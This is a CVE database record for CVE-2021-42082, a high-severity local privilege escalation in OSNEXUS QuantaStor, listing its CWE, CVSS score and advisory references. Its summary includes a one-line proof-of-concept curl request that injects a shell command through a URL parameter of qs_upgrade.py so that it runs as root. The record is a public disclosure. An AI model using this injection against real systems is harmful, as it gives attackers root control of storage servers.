CVE-2021-42082 (GCVE-0-2021-42082)
Vulnerability from cvelistv5
Published
2023-07-10 06:29
Modified
2025-09-22 06:40
Severity ?
7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE
  • CWE-269 - Improper Privilege Management
Summary
Local users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'
References
csirt@divd.nlhttps://csirt.divd.nl/CVE-2021-42082Third Party Advisory
csirt@divd.nlhttps://csirt.divd.nl/DIVD-2021-00020/
csirt@divd.nlhttps://www.osnexus.com/products/software-defined-storageProduct
csirt@divd.nlhttps://www.wbsec.nl/osnexusThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://csirt.divd.nl/CVE-2021-42082Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.divd.nl/DIVD-2021-00020
af854a3a-2127-422b-91ae-364da2661108https://www.osnexus.com/products/software-defined-storageProduct
af854a3a-2127-422b-91ae-364da2661108https://www.wbsec.nl/osnexusThird Party Advisory
Impacted products
Vendor Product Version
OSNEXUS QuantaStor Version: 0   ≤
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